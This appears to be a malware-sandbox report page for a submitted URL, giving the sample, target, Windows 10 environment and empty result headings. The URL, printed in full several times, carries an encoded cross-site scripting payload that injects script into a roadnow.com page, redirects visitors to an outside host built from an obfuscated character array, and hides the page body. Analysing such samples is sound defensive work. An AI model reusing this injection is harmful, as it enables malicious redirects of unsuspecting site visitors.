hxxp://https%3A%2F%2Froadnow[.]com%2Fi80%2Fgdir_addr2gps_show[.]php%3Fll%3D%252C%26nm%3D%26a1%3Dwaertyr%26c1%3D5%2522%253E%253C%252Fdiv%253E%253Cscript%253Ewindow%255B%2527location%2527%255D%255B%2527replace%2527%255D%2528%255B%2527h%2527%252C%2520%2527t%2527%252C%2520%2527t%2527%252C%2520%2527p%2527%252C%2520%2527s%2527%252C%2520%2527%253A%2527%252C%2520%2527%252F%2527%252C%2520%2527%252F%2527%252C%2520%2527i%2527%252C%2520%2527m%2527%252C%2520%2527p%2527%252C%2520%2527u%2527%252C%2520%2527t%2527%252C%2520%2527e%2527%252C%2520%2527l%2527%252C%2520%2527e%2527%252C%2520%2527t%2527%252C%2520%2527t%2527%252C%2520%2527e%2527%252C%2520%2527r%2527%252C%2520%2527[.]%2527%252C%2520%2527c%2527%252C%2520%2527o%2527%252C%2520%2527m%2527%252C%2520%2527%252F%2527%252C%2520%25270%2527%252C%2520%2527%252F%2527%252C%2520%25270%2527%252C%2520%2527%252F%2527%252C%2520%25270%2527%252C%2520%2527%252F%2527%252C%2520%25276%2527%252C%2520%25276%2527%252C%2520%2527f%2527%252C%2520%25270%2527%252C%2520%25275%2527%252C%2520%25272%2527%252C%2520%2527a%2527%252C%2520%25279%2527%252C%2520%2527e%2527%252C%2520%2527f%2527%252C%2520%2527b%2527%252C%2520%25274%2527%252C%2520%2527c%2527%252C%2520%25279%2527%252C%2520%25273%2527%252C%2520%25275%2527%252C%2520%25274%2527%252C%2520%25273%2527%252C%2520%25273%2527%252C%2520%25271%2527%252C%2520%25277%2527%252C%2520%2527c%2527%252C%2520%25277%2527%252C%2520%25270%2527%252C%2520%2527a%2527%252C%2520%25274%2527%252C%2520%2527a%2527%252C%2520%25271%2527%252C%2520%25275%2527%252C%2520%2527a%2527%252C%2520%25270%2527%252C%2520%2527c%2527%252C%2520%2527%2F11%2F281-10356%2F964-13741-17755%2527%255D%255B%2527join%2527%255D%2528%2527%2527%2529%2529%252Cdocument%255B%2527body%2527%255D%255B%2527style%2527%255D%255B%2527opacity%2527%255D%253D0x0%253B%253C%252Fscript%253E

Sharing

Behavioral task

behavioral1

Sample

http://https%3A%2F%2Froadnow.com%2Fi80%2Fgdir_addr2gps_show.php%3Fll%3D%252C%26nm%3D%26a1%3Dwaertyr%26c1%3D5%2522%253E%253C%252Fdiv%253E%253Cscript%253Ewindow%255B%2527location%2527%255D%255B%2527replace%2527%255D%2528%255B%2527h%2527%252C%2520%2527t%2527%252C%2520%2527t%2527%252C%2520%2527p%2527%252C%2520%2527s%2527%252C%2520%2527%253A%2527%252C%2520%2527%252F%2527%252C%2520%2527%252F%2527%252C%2520%2527i%2527%252C%2520%2527m%2527%252C%2520%2527p%2527%252C%2520%2527u%2527%252C%2520%2527t%2527%252C%2520%2527e%2527%252C%2520%2527l%2527%252C%2520%2527e%2527%252C%2520%2527t%2527%252C%2520%2527t%2527%252C%2520%2527e%2527%252C%2520%2527r%2527%252C%2520%2527.%2527%252C%2520%2527c%2527%252C%2520%2527o%2527%252C%2520%2527m%2527%252C%2520%2527%252F%2527%252C%2520%25270%2527%252C%2520%2527%252F%2527%252C%2520%25270%2527%252C%2520%2527%252F%2527%252C%2520%25270%2527%252C%2520%2527%252F%2527%252C%2520%25276%2527%252C%2520%25276%2527%252C%2520%2527f%2527%252C%2520%25270%2527%252C%2520%25275%2527%252C%2520%25272%2527%252C%2520%2527a%2527%252C%2520%25279%2527%252C%2520%2527e%2527%252C%2520%2527f%2527%252C%2520%2527b%2527%252C%2520%25274%2527%252C%2520%2527c%2527%252C%2520%25279%2527%252C%2520%25273%2527%252C%2520%25275%2527%252C%2520%25274%2527%252C%2520%25273%2527%252C%2520%25273%2527%252C%2520%25271%2527%252C%2520%25277%2527%252C%2520%2527c%2527%252C%2520%25277%2527%252C%2520%25270%2527%252C%2520%2527a%2527%252C%2520%25274%2527%252C%2520%2527a%2527%252C%2520%25271%2527%252C%2520%25275%2527%252C%2520%2527a%2527%252C%2520%25270%2527%252C%2520%2527c%2527%252C%2520%2527%2F11%2F281-10356%2F964-13741-17755%2527%255D%255B%2527join%2527%255D%2528%2527%2527%2529%2529%252Cdocument%255B%2527body%2527%255D%255B%2527style%2527%255D%255B%2527opacity%2527%255D%253D0x0%253B%253C%252Fscript%253E

Resource

win10-20240404-en

windows10-1703-x64

8 signatures

60 seconds

General

Target

http://https%3A%2F%2Froadnow.com%2Fi80%2Fgdir_addr2gps_show.php%3Fll%3D%252C%26nm%3D%26a1%3Dwaertyr%26c1%3D5%2522%253E%253C%252Fdiv%253E%253Cscript%253Ewindow%255B%2527location%2527%255D%255B%2527replace%2527%255D%2528%255B%2527h%2527%252C%2520%2527t%2527%252C%2520%2527t%2527%252C%2520%2527p%2527%252C%2520%2527s%2527%252C%2520%2527%253A%2527%252C%2520%2527%252F%2527%252C%2520%2527%252F%2527%252C%2520%2527i%2527%252C%2520%2527m%2527%252C%2520%2527p%2527%252C%2520%2527u%2527%252C%2520%2527t%2527%252C%2520%2527e%2527%252C%2520%2527l%2527%252C%2520%2527e%2527%252C%2520%2527t%2527%252C%2520%2527t%2527%252C%2520%2527e%2527%252C%2520%2527r%2527%252C%2520%2527.%2527%252C%2520%2527c%2527%252C%2520%2527o%2527%252C%2520%2527m%2527%252C%2520%2527%252F%2527%252C%2520%25270%2527%252C%2520%2527%252F%2527%252C%2520%25270%2527%252C%2520%2527%252F%2527%252C%2520%25270%2527%252C%2520%2527%252F%2527%252C%2520%25276%2527%252C%2520%25276%2527%252C%2520%2527f%2527%252C%2520%25270%2527%252C%2520%25275%2527%252C%2520%25272%2527%252C%2520%2527a%2527%252C%2520%25279%2527%252C%2520%2527e%2527%252C%2520%2527f%2527%252C%2520%2527b%2527%252C%2520%25274%2527%252C%2520%2527c%2527%252C%2520%25279%2527%252C%2520%25273%2527%252C%2520%25275%2527%252C%2520%25274%2527%252C%2520%25273%2527%252C%2520%25273%2527%252C%2520%25271%2527%252C%2520%25277%2527%252C%2520%2527c%2527%252C%2520%25277%2527%252C%2520%25270%2527%252C%2520%2527a%2527%252C%2520%25274%2527%252C%2520%2527a%2527%252C%2520%25271%2527%252C%2520%25275%2527%252C%2520%2527a%2527%252C%2520%25270%2527%252C%2520%2527c%2527%252C%2520%2527%2F11%2F281-10356%2F964-13741-17755%2527%255D%255B%2527join%2527%255D%2528%2527%2527%2529%2529%252Cdocument%255B%2527body%2527%255D%255B%2527style%2527%255D%255B%2527opacity%2527%255D%253D0x0%253B%253C%252Fscript%253E

Sharing

General

Malware Config

Signatures

Files